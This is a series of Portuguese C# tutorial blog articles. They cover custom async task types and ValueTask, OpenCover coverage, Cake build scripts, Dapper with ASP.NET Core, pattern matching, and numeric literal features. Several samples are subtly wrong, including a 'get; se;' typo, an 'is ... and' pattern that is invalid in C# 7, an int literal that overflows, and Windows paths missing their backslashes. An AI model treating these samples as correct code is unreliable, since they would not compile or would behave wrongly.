C

Generalizando tipos de retornos assíncronos no C# 7.0

Até a versão 6.0 do C#, os métodos assíncronos poderiam retornar os tipos Task, Task<T> e void.

Por se tratar de um objeto, em algumas situações os retornos de Task<T>, podem apresentar problemas de performance. Alocado na memória heap e coletado pelo garbage coletor, ao fazer uso intenso de métodos assíncronos, a performance de uma aplicação pode ser impactada pela volumosa alocação dos objetos Task<T>.

Para resolver este problema, na versão 7.0 do C#, foi adicionado o recurso que permite criar tipos de retorno para os métodos assíncronos.

Regras para a criação de um tipo Task<T>

Ao ler a documentação sobre os tipos de retorno assíncrono, é dito que qualquer tipo que contenha um método GetAwaiter público, que retorne um objeto que implemente a interface System.Runtime.CompilerServices.ICriticalNotifyCompletion, pode ser utilizado. Mas não é apenas isso.

Além deste detalhe, os tipos retornados por um método assíncrono, devem seguir um padrão “task type”. Pode ser uma classe ou estrutura, mas precisam estar associados a um builder type, identificado com o atributo System.Runtime.CompilerServices.AsyncMethodBuilderAttribute. Caso retornem valores, deve ser definido como um tipo genérico.

O “tipo task” em si, só necessita implementar o método GetAwaiter público, mas o objeto retornado por este método, deve implementar a interface ICriticalNotifyCompletion, o método GetResult e possuir uma propriedade pública chamada IsCompleted.

Já o builder type a ser criado, deve corresponder a classe ou estrutura definida. Não se pode utilizar um existente e deve possuir a estrutura abaixo:

class MyTaskMethodBuilder<T>
{
    public static MyTaskMethodBuilder<T> Create();

    public void Start<TStateMachine>(ref TStateMachine stateMachine)
        where TStateMachine : IAsyncStateMachine;

    public void SetStateMachine(IAsyncStateMachine stateMachine);
    public void SetException(Exception exception);
    public void SetResult(T result);

    public void AwaitOnCompleted<TAwaiter, TStateMachine>(
        ref TAwaiter awaiter, ref TStateMachine stateMachine)
        where TAwaiter : INotifyCompletion
        where TStateMachine : IAsyncStateMachine;
    public void AwaitUnsafeOnCompleted<TAwaiter, TStateMachine>(
        ref TAwaiter awaiter, ref TStateMachine stateMachine)
        where TAwaiter : ICriticalNotifyCompletion
        where TStateMachine : IAsyncStateMachine;

    public MyTask<T> Task { get; }
}

Para tipos não genéricos, o método SetResult não possui parâmetro.

A classe acima será utilizada pelo compilador para transformar tipo assíncrono como um método assíncrono na compilação para o MSIL.

Você pode ver mais detalhes do funcionamento desta classe, aqui.

Parece complicado? Vamos a um exemplo para entender estes pontos.

Criando um tipo assíncrono/Task

Inicialmente criarei uma classe que implementará a interface ICriticalNotifyCompletion, que chamarei de MyTaskAwaiter:

public class MyTaskAwaiter<TResult> : ICriticalNotifyCompletion
{
    //Retorna se a operação foi concluída
    public bool IsCompleted => _value.IsCompleted;
    private readonly MyTask<TResult> _value;

    //Inicializa a classe com a classe Task criada
    public MyTaskAwaiter(MyTask<TResult> value)
    {
        this._value = value;
    }

    //Retorna o resultado
    public TResult GetResult() => _value.GetResult();

    //Define uma continuação.
    public void OnCompleted(Action continuation)
    {
        _value.AsTask().ConfigureAwait(continueOnCapturedContext: true).GetAwaiter().OnCompleted(continuation);
    }

    //Define uma continuação.
    public void UnsafeOnCompleted(Action continuation)
    {
        _value.AsTask().ConfigureAwait(continueOnCapturedContext: true).GetAwaiter().UnsafeOnCompleted(continuation);
    }
}

Os métodos mais importantes desta classe são, o GetResult e o OnCompleted, que, respectivamente, retorna o resultado da “Task”, e informa quando ela foi concluída.

Note que a “Task” é uma classe customizada, que será definida com o seguinte código:

[AsyncMethodBuilder(typeof(MyTaskBuilder<>))]
public class MyTask<TResult>
{
    //Define uma propriedade Task para indicar quando uma operação assincrona foi finalizada
    private Task<TResult> _task;

    //O resultado retornado pela classe
    private TResult _result;

    //Indica que a operação foi finalizada ou não
    public bool IsCompleted => _task == null || _task.IsCompleted;

    //Inicializando a classe com o resultado da operação bem sucedida
    public MyTask(TResult result){
        this._task = null;
        this._result = result;
    }

    //Obtém o "Awaiter" da classe
    public MyTaskAwaiter<TResult> GetAwaiter() => new MyTaskAwaiter<TResult>(this);

    //Retorna uma task, ou cria uma para o resultado
    public Task<TResult> AsTask() => _task ?? Task.FromResult(_result);

    //Retorna o resultado
    public TResult GetResult() =>
        _task == null ? 
            _result : 
            _task.GetAwaiter().GetResult();
}

Mesmo necessitando apenas de um método GetAwaiter, note que a classe definiu outros métodos e propriedades para facilitar o seu uso.

Por fim, é necessário definir o builder type para a classe acima, que deve ter o código abaixo:

public class MyTaskBuilder<TResult>
{
    private AsyncTaskMethodBuilder<TResult> _methodBuilder;
    private TResult _result;
    private bool _haveResult;
    private bool _useBuilder;

    //Cria o Buider Type
    public static MyTaskBuilder<TResult> Create() => new MyTaskBuilder<TResult>() { _methodBuilder = AsyncTaskMethodBuilder<TResult>.Create() };

    //Inicia o Buider Type
    public void Start<TStateMachine>(ref TStateMachine stateMachine) where TStateMachine : IAsyncStateMachine { _methodBuilder.Start(ref stateMachine); }

    //Define o State Machine para o Buider Type
    public void SetStateMachine(IAsyncStateMachine stateMachine) { _methodBuilder.SetStateMachine(stateMachine); }

    //Define o resultado
    public void SetResult(TResult result)
    {
        if (_useBuilder)
        {
            _methodBuilder.SetResult(result);
        }
        else
        {
            _result = result;
            _haveResult = true;
        }
    }

    //Gera uma exceção
    public void SetException(Exception exception) => _methodBuilder.SetException(exception);

    //Retorna a task vinculado ao builder type
    public MyTask<TResult> Task {
        get {
            if (_haveResult)
            {
                return new MyTask<TResult>(_result);
            }
            else
            {
                _useBuilder = true;
                return new MyTask<TResult>(_methodBuilder.Task.Result);
            }
        }
    }

    //Define o comportamento quando for necessário aguardar a conclusão da operação assincronona
    public void AwaitOnCompleted<TAwaiter, TStateMachine>(ref TAwaiter awaiter, ref TStateMachine stateMachine) where TAwaiter : INotifyCompletion where TStateMachine : IAsyncStateMachine 
    {
        _useBuilder = true;
        _methodBuilder.AwaitOnCompleted(ref awaiter, ref stateMachine);
    }

    //Define o comportamento quando for necessário aguardar a conclusão da operação assincronona
    public void AwaitUnsafeOnCompleted<TAwaiter, TStateMachine>(ref TAwaiter awaiter, ref TStateMachine stateMachine) where TAwaiter : ICriticalNotifyCompletion where TStateMachine : IAsyncStateMachine { 
        _useBuilder = true;
        _methodBuilder.AwaitUnsafeOnCompleted(ref awaiter, ref stateMachine);
    }
}

Com a definição dessas três classes, podemos retornar o tipo MyTask em métodos assíncronos.

Utilizando o tipo assíncrono

O uso desta classe não difere do uso das classes Task ou Task em um método assíncrono:

class Program
{
    static void Main(string[] args)
    {
        Console.WriteLine("Retorno: " + MyMethod().GetResult());
    }

    public static async MyTask<int> MyMethod(){
        var result = await MyMethodAsync();

        return result;
    }

    public static MyTask<int> MyMethodAsync()
    {
        return new MyTask<int>(5);
    }
}

Mesmo permitindo a criação de tipos assíncronos, criar um não é algo recomendado. Tudo que vimos acima só deve ser utilizado em casos específicos. Se o objetivo for apenas melhorar a performance da aplicação, basta substituir o tipo Task<T>, pelo ValueTask<T>.

ValueTask<T>

O tipo System.Threading.Tasks.ValueTask<T> foi adicionado na versão 7.0 do C#, como uma forma de superar os gargalos da classe Task<T>. Definido como uma estrutura, os objetos de ValueTask<T> não são salvos na memória heap, o que já contorna o problema com alocação de memória da classe Task<T>.

O seu uso é bem simples:

class Program
{
    static void Main(string[] args)
    {
        Console.WriteLine("Retorno: " + MyMethod().Result);
    }

    public static async ValueTask<int> MyMethod(){
        var result = await MyMethodAsync();

        return result;
    }

    public static ValueTask<int> MyMethodAsync()
    {
        return new ValueTask<int>(5);
    }
}

E por não ser removida da memória pelo garbage collector, ela permite até a criação de “cache”:

class Program
{
    static void Main(string[] args)
    {
var task1 = CachedMethod();
        Console.WriteLine("Retorno da primeira chamada: " + task1.Result);

        var task2 = CachedMethod();
        Console.WriteLine("Retorno da segunda chamada: " + task2.Result);

        var task3 = CachedMethod();
        Console.WriteLine("Retorno da segunda chamada: " + task3.Result);
    }

    public static ValueTask<int> CachedMethod()
    {
        return (cache) ? new ValueTask<int>(cacheResult) : new ValueTask<int>(LoadCache());
    }
    private static bool cache = false;
    private static int cacheResult;
    private static async Task<int> LoadCache()
    {
        // simulando um processamento assincrono:
        await Task.Delay(100);
        cacheResult = new Random().Next(5000, 10000);
        cache = true;
        return cacheResult;
    }
}

A execução do código acima será:

Resultado da execução do código

Conclusão

Como recomendado na documentação, no C# 7.0, procure sempre utilizar a classe ValueTask<T>, pois o seu uso já se provou ser mais performático que a classe Task<T>.

Analisando a cobertura de testes em aplicações .NET com o OpenCover

Quem trabalha com .NET geralmente utiliza o Visual Studio e, hoje, uma das deficiências de algumas versões desta ferramenta é a funcionalidade de avaliar a cobertura dos testes. Recurso este que encontra-se disponível apenas na versão Enterprise, e ele acaba não sendo utilizado na hora da implementação dos testes unitários.

Dependendo do tamanho da aplicação, não ter uma boa ferramenta de cobertura de teste pode dificultar e muito a análise das partes que ainda precisam ser testadas.

Para facilitar este processo para quem não possui a versão Enterprise do Visual Studio, temos a opção de utilizar o OpenCover, que é uma ferramenta open-source.

OpenCover

Como dito acima, o OpenCover é uma ferramenta open-source, que gera a cobertura de testes em projetos .NET. Infelizmente no momento ele só funciona no Windows, e não suporta projetos .NET Core.

Mesmo sendo uma ferramenta de linha de comando, ela pode ser baixada pelo NutGet ou como um arquivo MSI ou zip na página do projeto Github.

Para testá-la, criei um projeto simples, que possui apenas classe:

public class Exemplo
{
    public static void Metodo()
    {
        try
        {
            Console.WriteLine("Ok!");
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.Message);
        }
    }
}

E um projeto de teste também com apenas uma classe:

using NUnit.Framework;

[TestFixture]
public class ExemploTest
{
    [Test]
    public void MetodoTest()
    {
        Exemplo.Metodo();
    }
}

Executando os testes com o OpenCover

O OpenCover não executa diretamente os testes, na verdade, ele precisa de outra aplicação que executa o teste, que no nosso caso será o NUnit.

Como o OpenCover irá executar o NUnit pelo console, também adcione na aplicação o NUnit Console.

Com isso, poderemos executar o comando abaixo:

C:ProjetosTreinawebTreinaweb.CalculadorapackagesOpenCover.4.6.519toolsOpenCover.Console.exe -target:"C:ProjetosTreinawebTreinaweb.CalculadorapackagesNUnit.ConsoleRunner.3.7.0toolsnunit3-console.exe" -targetargs:"C:ProjetosTreinawebTreinaweb.CalculadoraTreinaweb.Calculadora.TestsbinDebugTreinaweb.Calculadora.Tests.dll" -output:"C:ProjetosTestResultscoverage.xml" -register:user

Os argumentos utilizados acima são:

  • target: – Indica o processo que OpenCover irá executar.
  • targetargs: – Informa argumentos para o processo que o OpenCover irá executar. No caso, é passado a dll do projeto que contém os testes;
  • output: – O local onde o arquivo xml gerado será salvo;
  • register:user – Utilizado para registrar objetos COM que o OpenCover utiliza. A opções user deve ser utilizada por usuários sem privilégios administrativos.

Você pode ver outros comandos, na documentação do OpenCover aqui.

Ao executar o código acima, o OpenCover irá gerar um arquivo XML como resultado. Para visualizar este resultado em um ambiente mais amigável, pode ser utilizado o ReportGenerator.

ReportGenerator

Assim como o OpenCover, o ReportGenerator também é uma ferramenta de linha de comando open source, que pode ser baixada pelo NuGet. Ao baixá-la, pode ser executado o comando abaixo para gerar o relatório:

C:ProjetosTreinawebTreinaweb.CalculadorapackagesReportGenerator.3.0.2toolsReportGenerator.exe -reports:"C:ProjetosTestResultscoverage.xml" -targetdir:"C:ProjetosTestResultsReport"

Neste relatório podemos visualizar quais trechos de código não são cobertos:

Relatório do Report Generator

Conclusão

Agora o projeto tem code coverage e histórico, tudo com ferramentas open source. Com isso, é possível enxergar os pontos mais críticos que precisam de testes, entender a complexidade do código escrito com as métricas disponíveis e acompanhar a evolução do projeto.

Essas ferramentas facilitam muito a vida de quem desenvolve software, e é ótimo ver que a comunidade .NET está criando ferramentas open-source para resolver esses problemas.

Utilizar o Cake facilita ainda mais o uso e a integração delas, pra que você não precise perder muito tempo com isso e possa focar no que importa.

Automatizando tarefas de um projeto C# com o Cake

O desenvolvimento de uma aplicação pode ser um processo repetitivo: compilação, teste e execução/publicação. Vendo apenas esses pontos, o processo pode ser algo simples, mas ao longo do desenvolvimento, toda esta repetição pode ter consumido horas.

Quando nos deparamos com uma situação assim, chegou o momento de procuramos formas de automatizar este processo e economizarmos um esforço não útil para a aplicação.

Hoje em dia existem várias soluções de automação para essas tarefas repetitivas de um projeto. Neste artigo conheceremos o Cake.

Cake

O Cake (C# Make) é um sistema de automação, multiplataforma e open source, que permite definir das tarefas em C#, se tornando assim o sistema de automação ideal para o desenvolvedor desta linguagem.

Aliases e Extensibilidade

Como é voltado para aplicações da plataforma .NET, o Cake já define uma série de métodos que representam ações em aplicações desta plataforma. Por exemplo, para aplicar o restore em um projeto .NET Core, pode ser definido a tarefa abaixo:

Task("Restore")
   .Does(() =>
    {
        DotNetCoreRestore("./ExemploCake.csproj");
    });

O método DotNetCoreRestore usado acima é chamado de “alias”, e faz parte dos alises de DotNetCore. Existem aliases para uma infinidade de tarefas, e você pode ver todos na documentação do Cake.

Caso não exista um alias nativo para a ação que queira executar, a plataforma também suporta os chamados Addins, que são métodos de extensão criados pela comunidade.

Se mesmo assim não encontrar um método para a sua tarefa, você pode criar seu próprio alias, que nada mais é que um método de extensão do C#. E se fizer isso, contribua com a comunidade disponibilizando ele no NuGet.

Agora que conhecemos o Cake, vamos ver um exemplo rápido do seu uso.

Colocando a mão na massa

Para este artigo vou testar o Cake uma aplicação console simples:

dotnet new console -n ExemploCake
cd ExemploCake

Nela o Cake pode ser adicionado com o comando do PowerShell abaixo, caso esteja no Windows:

Invoke-WebRequest https://cakebuild.net/download/bootstrapper/windows -OutFile build.ps1

Ou o comando de terminal abaixo, caso esteja no Linux:

curl -Lsfo build.sh https://cakebuild.net/download/bootstrapper/linux

Ou caso esteja no Mac OS X:

curl -Lsfo build.sh https://cakebuild.net/download/bootstrapper/osx

Com isso, será adicionado um arquivo build.ps1 no Windows e build.sh nos ambientes Unix. Será este arquivo que executaremos quando as tarefas estiverem automatizadas.

Criando um script Cake

Com o Cake adicionado na aplicação, crie nela um arquivo chamado build.cake. Será neste arquivo que as tarefas devem ser adicionadas. Por exemplo:

var target = Argument("target", "Default");

Task("Default")
  .Does(() =>
{
  Information("Hello World!");
});

RunTarget(target);

A tarefa acima é simples, como é possível supor, ela apenas exibe o famoso "Hello World" no console/terminal quando o Cake for executado:

Windows

.uild.ps1

Linux / Mac OS X

# Agusta a permissão
chmod +x build.sh

# Executa o arquivo.
./build.sh

No código, a primeira linha:

var target = Argument("target", "Default");

Define a tarefa padrão, caso alguma não seja definida durante a execução, que pode ser feito da seguinte forma:

./build.sh -target Default

Por ser código C#, podemos definir elementos que são válidos nesta linguagem com uma variável:

var target = Argument("target", "Default");

var projectFile = "./ExemploCake.csproj";

Task("Default")
  .IsDependentOn("Restore-Application")
  .Does(() =>
{
  Information("Hello World!");
});

Task("Restore-Application")
  .Does(() =>
{
  DotNetCoreRestore(projectFile);
});

RunTarget(target);

Além de definirmos uma variável:

var projectFile = "./ExemploCake.csproj";

Também foi definido que antes de executar a tarefa “Default“:

Task("Default")
  .IsDependentOn("Restore-Application")
  .Does(() =>
{
  Information("Hello World!");
});

Deve ser executa a tarefa “Restore-Application“, que aplica o restore na aplicação:

Task("Restore-Application")
  .Does(() =>
{
  DotNetCoreRestore(projectFile);
});

Pode-se cascatear uma tarefa após a outra, quantas verses for necessário:

var target = Argument("target", "Default");

var projectFile = "./ExemploCake.csproj";

Task("Default")
  .IsDependentOn("Run-Application")
  .Does(() =>
{
  Information("Hello World!");
});

Task("Restore-Application")
  .Does(() =>
{
  DotNetCoreRestore(projectFile);
});


Task("Run-Application")
  .IsDependentOn("Restore-Application")
  .Does(() =>
{
  DotNetCoreRun(projectFile);
});

RunTarget(target);

Conclusão

Agora que a configuração do Cake está definida e que já temos uma estrutura básica, ele pode ser expandido com adição de novas tarefas, como aplicação de teste e ou commit dos códigos alterados.

Caso tenha gostado da ferramenta, você pode ver mais funcionalidades dela na sua ótima documentação.

Utilizando o Micro ORM Dapper em uma aplicação ASP.NET Core

Persistir informações da aplicação é um requisito básico de quase todos os sistemas desenvolvidos atualmente. E o meio mais utilizado para isso são os bancos de dados relacionais.

Porém, o processo de persistência de dados em um banco de dados relacional não é simples, são necessárias uma gama de configurações, além de certas adaptações para que os objetos sejam persistidos corretamente no banco.

Para facilitar este processo, foram criados os frameworks ORM (Object-Relational Mapping – mapeamento objeto relacional). Eles se encarregam do trabalho pesado, como o processo de conversão dos objetos da aplicação em informações compreendidas pelo banco de dados (códigos SQL), e abstraem o máximo do acesso ao banco para facilitar a persistência de dados. Com isso, o desenvolvedor pode focar no que é mais importante para a aplicação.

Só que, com a facilidade, esses frameworks ORM acabaram comprometendo um pouco da performance das aplicações. Para resolver este problema, criou-se os chamados micro frameworks ORM. Este tipo abstrai apenas o necessário e otimiza ao máximo. Um dos frameworks que se destacam nesta categoria é o Dapper.NET.

Criado pela equipe por atrás do Stack Overflow, este micro framework ORM foi criado visando rapidez, fácil integração e liberdade de configuração. Com poucas linhas de código é possível adicioná-lo em uma aplicação e já fazer uso de todo o seu poder.

Para se ter ideia da sua rapidez e das características que o caracterizam, podemos ver a comparação que a sua equipe realiza com outros frameworks ORM disponíveis para .NET:

Performance de uma pesquisa com 500 iterações – POCO serialization

Method Duration Remarks
Hand coded (using a SqlDataReader) 47ms
Dapper ExecuteMapperQuery 49ms
ServiceStack.OrmLite (QueryById) 50ms
PetaPoco 52ms Can be faster
BLToolkit 80ms
SubSonic CodingHorror 107ms
NHibernate SQL 104ms
Linq 2 SQL ExecuteQuery 181ms
Entity framework ExecuteStoreQuery 631ms

Performance de uma pesquisa com 500 iterações – dynamic serialization

Method Duration Remarks
Dapper ExecuteMapperQuery (dynamic) 48ms
Massive 52ms
Simple.Data 95ms

Performance de uma pesquisa com 500 iterações – typical usage

Method Duration Remarks
Linq 2 SQL CompiledQuery 81ms Not super typical involves complex code
NHibernate HQL 118ms
Linq 2 SQL 559ms
Entity framework 859ms
SubSonic ActiveRecord.SingleOrDefault 3619ms

Para exemplificar o seu uso, vamos ver um exemplo dele em uma aplicação ASP.NET Core.

Criando a aplicação

No terminal digite o código abaixo para criar uma aplicação chamada AspNetCoreDapper:

dotnet new mvc -n AspNetCoreDapper

Agora, adicione o pacote do Dappper:

dotnet add package Dapper

Não se esqueça de aplicar o restore no projeto:

dotnet restore

Com isso já podemos começar a nossa configuração Dapper.

Criando o model / entidade

Para este exemplo será utilizada a entidade abaixo:

using System;
using System.ComponentModel.DataAnnotations;

namespace AspNetCoreDapper.Models
{
    public class Product
    {
        public int Id { get; set; }

        [Required]
        public string Name { get; set; }
        public int Quantity { get; set; }

        [Required]
        public double Price { get; set; }
    }
}

Configurando o acesso ao banco com Dapper

Para este exemplo vou utilizar como banco de dados o SQLite, assim, antes de configurar o Dapper é necessário adicionar o pacote deste banco de dados na aplicação:

dotnet add package Microsoft.Data.Sqlite

Aplique o restore para iniciarmos o processo de configuração do banco.

Diferente de outros frameworks ORM, o Dapper não define uma classe de configuração. Assim, configuraremos o acesso dele na classe base dos repositórios:

namespace AspNetCoreDapper.Repositories
{
    public abstract class AbstractRepository<T>
    {
        private string _connectionString;
        protected string ConnectionString => _connectionString;
        public AbstractRepository(IConfiguration configuration){
            _connectionString = configuration.GetValue<string>("DBInfo:ConnectionString");

        }
        public abstract void Add(T item);
        public abstract void Remove(int id);
        public abstract void Update(T item);
        public abstract T FindByID(int id);
        public abstract IEnumerable<T> FindAll();
    }
} 

O Dapper também não cria o banco de dados de acordo com as entidades. Nele, caso o banco ainda não esteja criado, ele deve ser criado “na mão”. Que é o que iremos fazer na classe abaixo:

namespace AspNetCoreDapper.Db
{
    public class Seed
    {
        private static IDbConnection _dbConnection;

        private static void CreateDb(IConfiguration configuration)
        {
            var connectionString = configuration.GetValue<string>("DBInfo:ConnectionString");
            var dbFilePath = configuration.GetValue<string>("DBInfo:ConnectionString");
            if (!File.Exists(dbFilePath))
            {
                _dbConnection = new SqliteConnection(connectionString);
                _dbConnection.Open();

                // Create a Product table
                _dbConnection.Execute(@"
                    CREATE TABLE IF NOT EXISTS [Product] (
                        [Id] INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                        [Name] NVARCHAR(128) NOT NULL,
                        [Quantity] INTEGER NULL,
                        [Price] NUMERIC NOT NULL
                    )");

                _dbConnection.Close();
            }

        }
    }
}

E ele deve ser chamado na classe AbstractRepository:

public AbstractRepository(IConfiguration configuration){
    _connectionString = configuration.GetValue<string>("DBInfo:ConnectionString");

    AspNetCoreDapper.Db.Seed.CreateDb(configuration);
}

Para finalizar a configuração de acesso Dapper, iremos definir o repositório abaixo:

namespace AspNetCoreDapper.Repositories
{
    public class ProductRepository: AbstractRepository<Product>
    {
        public ProductRepository(IConfiguration configuration): base(configuration) { }

        public override void Add(Product item)
        {
            using (IDbConnection dbConnection = new SqliteConnection(ConnectionString))
            {
                string sQuery = "INSERT INTO Product (Name, Quantity, Price)"
                                + " VALUES(@Name, @Quantity, @Price)";
                dbConnection.Open();
                dbConnection.Execute(sQuery, item);
            }
        }
        public override void Remove(int id)
        {
            using (IDbConnection dbConnection = new SqliteConnection(ConnectionString))
            {
                string sQuery = "DELETE FROM Product" 
                            + " WHERE Id = @Id";
                dbConnection.Open();
                dbConnection.Execute(sQuery, new { Id = id });
            }
        }
        public override void Update(Product item)
        {
            using (IDbConnection dbConnection = new SqliteConnection(ConnectionString))
            {
                string sQuery = "UPDATE Product SET Name = @Name,"
                            + " Quantity = @Quantity, Price= @Price" 
                            + " WHERE Id = @Id";
                dbConnection.Open();
                dbConnection.Query(sQuery, item);
            }
        }
        public override Product FindByID(int id)
        { 
            using (IDbConnection dbConnection = new SqliteConnection(ConnectionString))
            {
                string sQuery = "SELECT * FROM Product" 
                            + " WHERE Id = @Id";
                dbConnection.Open();
                return dbConnection.Query<Product>(sQuery, new { Id = id }).FirstOrDefault();
            }
        }
        public override IEnumerable<Product> FindAll()
        { 
            using (IDbConnection dbConnection = new SqliteConnection(ConnectionString))
            {
                dbConnection.Open();
                return dbConnection.Query<Product>("SELECT * FROM Product");
            }
        }
    }
}

Note que o Dapper realiza o processo de impedância, a transformação dos dados do banco para entidades da aplicação de forma quase transparente:

dbConnection.Query<Product>("SELECT * FROM Product");

Na busca basta informar a classe que mapeia os dados do banco que o framework se encarregará de transformar os resultados obtidos em objetos desta classe. Aqui é importante que os nomes das colunas da tabela sejam iguais aos nomes das propriedades da classe, pois o Dapper irá realizar a transformação por Reflection.

Este mesmo processo é aplicado quando um dado é enviado para o banco:

using (IDbConnection dbConnection = new SqliteConnection(ConnectionString))
{
    string sQuery = "INSERT INTO Product (Name, Quantity, Price)"
                    + " VALUES(@Name, @Quantity, @Price)";
    dbConnection.Open();
    dbConnection.Execute(sQuery, item);
}

Também repare que é necessário informar o código SQL, pois este é um recurso dos frameworks ORM tradicionais que o Dapper não implementa. Assim, é possível definir um código mais eficiente, obtendo ainda mais performance.

Testando o Dapper

Para testar o Dapper, crie um controller:

namespace AspNetCoreDapper.Repositories
{
    public class ProductController : Controller
    {
        private readonly ProductRepository productRepository;

        public ProductController(IConfiguration configuration){
            productRepository = new ProductRepository(configuration);
        }

        // GET: Products
        public ActionResult Index()
        {
            return View(productRepository.FindAll().ToList());
        }

        // GET: Products/Details/5
        public ActionResult Details(int? id)
        {
            if (id == null)
            {
                return StatusCode(StatusCodes.Status404NotFound);
            }
            Product product = productRepository.FindByID(id.Value);
            if (product == null)
            {
                return StatusCode(StatusCodes.Status404NotFound);
            }
            return View(product);
        }

        // GET: Products/Create
        public ActionResult Create()
        {
            return View();
        }

        // POST: Products/Create
        // To protect from overposting attacks, please enable the specific properties you want to bind to, for 
        // more details see http://go.microsoft.com/fwlink/?LinkId=317598.
        [HttpPost]
        [ValidateAntiForgeryToken]
        public ActionResult Create([Bind("Id,Name,Quantity,Price")] Product product)
        {
            if (ModelState.IsValid)
            {
                productRepository.Add(product);
                return RedirectToAction("Index");
            }

            return View(product);
        }

        // GET: Products/Edit/5
        public ActionResult Edit(int? id)
        {
            if (id == null)
            {
                return StatusCode(StatusCodes.Status400BadRequest);
            }
            Product product = productRepository.FindByID(id.Value);
            if (product == null)
            {
                return StatusCode(StatusCodes.Status404NotFound);
            }
            return View(product);
        }

        // POST: Products/Edit/5
        [HttpPost]
        [ValidateAntiForgeryToken]
        public ActionResult Edit([Bind("Id,Name,Quantity,Price")] Product product)
        {
            if (ModelState.IsValid)
            {
                productRepository.Update(product);
                return RedirectToAction("Index");
            }
            return View(product);
        }

        // GET: Products/Delete/5
        public ActionResult Delete(int? id)
        {
            if (id == null)
            {
                return StatusCode(StatusCodes.Status400BadRequest);
            }
            Product product = productRepository.FindByID(id.Value);
            if (product == null)
            {
                return StatusCode(StatusCodes.Status404NotFound);
            }
            return View(product);
        }

        // POST: Products/Delete/5
        [HttpPost, ActionName("Delete")]
        [ValidateAntiForgeryToken]
        public ActionResult DeleteConfirmed(int id)
        {
            productRepository.Remove(id);
            return RedirectToAction("Index");
        }
    }
}

Também crie as views as actions acima e então podemos ver o sistema funcionando:

Você pode fazer download dos sources dessa aplicação clicando aqui.

Até a próxima!

Pattern Matching no C# 7.0

O operador is existe desde a primeira versão do C# e ele sempre foi utilizado para verificar o tipo de um objeto em tempo de execução.

Neste tipo de verificação é muito comum o uso de operações “cast“. Por exemplo, vamos supor uma classe base, com duas classes filhas:

public class Forma() {}

public class Triangulo : Forma{
    public int Largura { get; set; }
    public int Altura { get; set; }
    public int Base { get; se; }

    public Triangulo(int largura, int altura, int base) {
        this.largura = largura;
        this.altura = altura;
        this.base = base;
    }

    public void Perimetro (){
        Console.WriteLine("O perímetro do triângulo é {0}", largura + altura + base);
    }
}

public class Retangulo : Forma {
    public int Largura { get; set; }
    public int Altura { get; set; }

    public Retangulo(int largura, int altura) {
        this.largura = largura;
        this.altura = altura;
    }

    public void Area(){
        Console.WriteLine("A área do retângulo é {0}", largura * altura);
    }
}

Caso houvesse uma array com essas classes, para chamar cada método delas, seria necessário realizar uma conversão:

public class Program {
    public static void Main(){
        Forma[] formas = { new Triangulo(10, 12, 10), new Retangulo(7, 4), new Triangulo(17, 15, 16), new Retangulo(25, 12) };

        foreach (var item in formas)
        {
            if (item is Triangulo)
                ((Triangulo)item).Perimetro();
            if (item is Retangulo)
                ((Retangulo)item).Area();
        }
    }
}

Repare que ao descobrir o tipo da variável, ainda é necessário realizar o cast:

if (item is Triangulo)
    ((Triangulo)item).Perimetro();

Para evitar este cast, no C# 7.0 foi introduzido o conceito de Pattern Matching:

Pattern Matching

O Pattern Matching adiciona mais poder ao operador is e a cláusula switch.

Agora com o operador is, após realizar uma verificação de tipo, é possível atribuir o resultado a uma variável:

public class Program {
    public static void Main(){
        Forma[] formas = { new Triangulo(10, 12, 10), new Retangulo(7, 4), new Triangulo(17, 15, 16), new Retangulo(25, 12) };

        foreach (var item in formas)
        {
            if (item is Triangulo t)
                t.Perimetro();
            if (item is Retangulo r)
                r.Area();
        }
    }
}

Com isso, não é mais necessário realizar o cast do objeto dentro do condicional. Este tipo de situação também nos permite uma verificação mais elaborada:

if (item is Retangulo r and r.Largura > 0)
    r.Area();

Assim, apenas se item for um objeto de Retangulo e a propriedade Largura deste objeto for maior que 0, que o bloco do condicional será executado.

Não temos essas situações no exemplo acima, mas agora com o operador is também é possível verificar um valor literal:

if(item is 10)
    Console.WriteLine("Item é 10");

Null:

if(item is null)
    Console.WriteLine("Item é nulo");

Ou mesmo aplicar o objeto a uma variável:

if(item is var i)
    Console.WriteLine("Item é do tipo {0}", i?.GetType().Name);

Desta forma, é possível descobrir o tipo do objeto quando esta informação não é conhecida.

Pattern Matching com switch

Além do operador is, o switch também recebeu novos recursos para ser aplicado Pattern Matching. Agora é possível comparar o tipo de um objeto dentro de um bloco switch:

foreach (var item in formas)
{
    switch(item){
        case Triangulo t:
            t.Perimetro();
            break;
        case Retangulo r:
            r.Area();
            break;
        case 10:
            Console.WriteLine("Item é 10");
            break;
        case null:
            Console.WriteLine("Item é nulo");
            break;
        case Retangulo r when r.Largura > 0:
            r.Area();
            break;
        case var i:
            Console.WriteLine("Item é do tipo {0}", i?.GetType().Name);
            break;
    }
}

Algumas das opções acima não se aplicam ao nosso exemplo, mas elas foram adicionadas para mostrar que as mesmas opções que vimos com o condicional if, podem ser aplicadas ao switch.

Conclusão

Agora o processo de checagem de tipo e cast de objetos está mais simples e dinâmico. Assim, caso esteja utilizando a versão 7.0 do C#, não hesite em utilizar este recurso. Ele irá melhorar a legibilidade do seu código.

Binary Literals, Digit Separators e Throw Expressions no C# 7.0

Dando continuidade à série de artigos sobre novidades do C# 7, hoje conheceremos três novos recursos que melhoram a legibilidade e reduzem o número de linhas de código:

  • Binary Literals;
  • Digit Separators;
  • Throw Expressions.

Binary Literals

Este recurso seria adicionado no C# 6.0 mas, no final, foi decidido que só entraria na versão 7. Como o nome indica, ele permite declarar valores binários como literais.

Para fazer isso, basta utilizar o prefixo 0b:

byte var1 = 0b00011011;
byte var2 = 0b10101010;
ushort var3 = 0b111001011010000;
Console.WriteLine($"{var1:X}");
Console.WriteLine($"{var2:X}");
Console.WriteLine($"{var3:X}");

Ele torna mais simples trabalhar com valores binários no código. Mesmo não sendo algo muito comum, agora não é mais necessário trabalhar com as versões em decimais dos valores binários. O que melhora a legibilidade do código.

Digit Separators

Ainda no quesito de melhorar a legibilidade, agora na versão 7, o C# permite que se utilize o underline (_) como digito separador de um valor numérico literal.

No lugar de definir um valor assim:

int var1 = 1234567891011;

Ele pode ser definido da seguinte forma:

int var1 = 1_234_567_891_011;

Isso também pode ser aplicado a valores binários:

ushort var1 = 0b0001_1011_1100_0001;

Ou hexadecimais:

ulong l2 = 0xfedc_ba98_7654_3210;

E o digito separador tem importância apenas visual, portanto, ele pode ser definido de qualquer forma no valor que será interpretado da mesma forma pelo C#:

int var1 = 1_2345_6789_1011;
